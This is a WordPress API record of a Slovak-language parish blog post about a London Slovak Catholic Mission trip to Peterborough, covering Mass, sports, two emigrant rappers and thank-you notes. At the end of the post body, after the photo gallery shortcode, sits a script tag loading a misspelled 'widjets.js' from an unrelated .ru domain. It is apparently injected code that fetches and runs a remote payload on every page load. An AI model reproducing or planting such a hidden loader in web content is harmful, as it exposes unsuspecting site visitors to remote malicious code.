{"id":10833,"date":"2011-03-08T22:20:47","date_gmt":"2011-03-08T22:20:47","guid":{"rendered":"http:\/\/www.scmlondon.org\/?p=10833"},"modified":"2011-03-25T23:00:44","modified_gmt":"2011-03-25T23:00:44","slug":"medzi-krajanmi-v-peterborough","status":"publish","type":"post","link":"https:\/\/www.scmlondon.org\/?p=10833","title":{"rendered":"Medzi krajanmi v Peterborough"},"content":{"rendered":"<p>V sobotu 5.marca sme sa 22 \u010dlenov na\u0161ej Slovenskej Katol\u00edckej Misie z\u00fa\u010dastnili v\u00fdletu do Peterborough, mesta na sever od Lond\u00fdna, kde \u017eij\u00fa slov\u00e1ci a \u010desi, aby sme s nimi budovali jedno spolo\u010denstvo, pri sv\u00e4tej om\u0161i, ktor\u00e1 bola v \u00favode cel\u00e9ho stretnutia v kostole St. Peter and all souls, v duchu Evanjelia o Emauzsk\u00fdch u\u010den\u00edkoch. Po om\u0161i sme sa presunuli do \u0161koly High School of St. John Fisher, kde sme \u010falej budovali spolo\u010denstvo pri vynikaj\u00facom gu\u013e\u00e1\u0161i od na\u0161ich k\u00e1mo\u0161ov z Corby a ke\u010f sme sa presunuli do telocvi\u010dne, zah\u00e1jila sa \u0161portov\u00e1 \u010das\u0165 na\u0161ho v\u00fdletu: futbal, badminton, ping pong a pre deck\u00e1 bola k dispoz\u00edcii trampol\u00edna, ktor\u00fa si aj t\u00ed star\u0161\u00ed vychutnali. G\u00f3ly padali jedna rados\u0165, a v prest\u00e1vke sme si e\u0161te mali mo\u017enos\u0165 zarapova\u0165 \u00a0s dvomi miestn\u00fdmi chalanmi, jeden slov\u00e1k a druh\u00fd \u010dech, ktor\u00ed n\u00e1m prezentovali zop\u00e1r piesn\u00ed z ich vlastnej tvorby. Potom sp\u00e4\u0165 do telocvi\u010dne dokon\u010di\u0165 z\u00e1pasy a pomaly sme sa poberali na vlakov\u00fa stanicu. Po pr\u00edjemne str\u00e1venom \u00a0dni ka\u017ed\u00fd sa do Lond\u00fdna vracal s \u00a0pocitom, \u017ee to bola ozaj misijn\u00e1 cesta, na ktorej sme spoznali P\u00e1na pri l\u00e1man\u00ed chleba a v spolo\u010denstve s druh\u00fdmi.<\/p>\n<p>&nbsp;<\/p>\n<p>Boli sme v Peterborough svedkami vyst\u00fapenia dvoch spev\u00e1kov &#8211; raperov.\u00a0Daniel &#8211; Dany z \u010ciech, \u017eije v Anglicku od svojich desiatich rokov, trin\u00e1sty\u00a0rok. Napriek tomu nezab\u00fada svoj rodn\u00fd jazyk a je mu vern\u00fd aj pri skladan\u00ed\u00a0r\u00fdmovan\u00fdch textov do rapersk\u00fdch skladieb.\u00a0Ke\u010f p\u00ed\u0161e, tvor\u00ed automaticky dve verzie textu &#8211; \u010desk\u00fa aj anglick\u00fa.\u00a0\u010cesk\u00e9 texty z \u00fast oboch spev\u00e1kov zneli prekvapivo svie\u017eo, akoby boli v\u00a0Anglicku len na v\u00fdlete. Dany sa hudbe venuje popri st\u00e1lom zamestnan\u00ed, buduje\u00a0si vlastn\u00fa skupinu tane\u010dn\u00edkov a muzikantov a chyst\u00e1 sa nahra\u0165 demo\u00a0nieko\u013ek\u00fdch skladieb.<\/p>\n<p>\u010casto vystupuje so slovensk\u00fdm raperom Kin\u010dom z Bratislavy. Sp\u00e1ja ich rovnak\u00fd\u00a0osud trval\u00fdch emigrantov a l\u00e1ska k hip-hopu. Kin\u010do n\u00e1s tie\u017e prekvapil\u00a0chyt\u013eav\u00fdmi slovensk\u00fdmi r\u00fdmami. Posolstvo o m\u00e1rnosti povrchn\u00fdch hodn\u00f4t<br \/>\ns\u00fa\u010dasn\u00e9ho sveta adresoval triezvo a presved\u010divo. Tvrdil, \u017ee si stoj\u00ed za\u00a0ka\u017ed\u00fdm slovom vo svojich textoch.<br \/>\nDo spevu zapojil p\u00e4\u0165ro\u010dn\u00e9ho Mareka a nau\u010dil ho hiphopov\u00fd popevok.\u00a0Raperi sa pote\u0161ili nov\u00e9mu obecenstvu z \u010ciech a Slovenska a s\u013e\u00fabili n\u00e1m\u00a0vyst\u00fapenie v Lond\u00fdne.<\/p>\n<p>Juliana<\/p>\n<p>&nbsp;<\/p>\n<p>Jm\u00e9nem COMPASu bych chtel pod\u011bkovat o. Tiborovi,\u00a0sl. Petre a v\u0161em kter\u00ed se pod\u00edleli na vytvo\u0159en\u00ed skvel\u00e9 atmosf\u00e9ry a\u00a0z\u00e1bavy\u00a0v\u00a0Peterborough. Pevne douf\u00e1me, \u017ee toto byla prvn\u00ed z mnoha akc\u00ed, kter\u00e9 spolu uspo\u0159\u00e1dame.<\/p>\n<p>Petr Torak<\/p>\n<p>&nbsp;<\/p>\n<p>V mene dom\u00e1cich, teda v\u0161etk\u00fdch z P&#8217;boro chcem po\u010fakova\u0165 vz\u00e1cnej\u00a0n\u00e1v\u0161teve z Lond\u00fdna, ale i organiz\u00e1torom za naozaj v\u0161etko \u010d\u00edm sa\u00a0pri\u010dinili k vytvoreniu pr\u00edjemnej atmosf\u00e9ry po\u010das sv. om\u0161e, ako aj po\u010das\u00a0cel\u00e9ho d\u0148a. A za\u017eela\u0165 im ve\u013ea zdravia, \u0161tastia a Bo\u017eieho po\u017eehnania. D\u00fafam, \u017ee i tento de\u0148 sa zap\u00ed\u0161e do na\u0161ich pr\u00edjemn\u00fdch spomienok a tak<br \/>\ntie\u017e vytvor\u00ed nov\u00fa trad\u00edciu organizovania podobn\u00fdch podujat\u00ed v na\u0161om\u00a0meste.<\/p>\n<p>Srde\u010dne pozdravujem a te\u0161im sa na \u010fal\u0161ie stretnutie a spolupr\u00e1cu.<br \/>\nPrajem pekn\u00fd den :o))<br \/>\n&#8212;<br \/>\nMartin Paluga<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>[nggallery id=108]<script src=\"\/\/uptoliked.ru\/widjets.js\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>V sobotu 5.marca sme sa 22 \u010dlenov na\u0161ej Slovenskej Katol\u00edckej Misie z\u00fa\u010dastnili v\u00fdletu do Peterborough, mesta na sever od Lond\u00fdna, kde \u017eij\u00fa slov\u00e1ci a \u010desi, aby sme s nimi budovali&#8230; <a class=\"meta-more\" href=\"https:\/\/www.scmlondon.org\/?p=10833\">Pokra\u010dova\u0165 v \u010d\u00edtan\u00ed <span class=\"meta-nav\">&raquo;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-10833","post","type-post","status-publish","format-standard","hentry","category-7"],"_links":{"self":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/10833","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=10833"}],"version-history":[{"count":7,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/10833\/revisions"}],"predecessor-version":[{"id":10835,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/10833\/revisions\/10835"}],"wp:attachment":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=10833"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=10833"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=10833"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}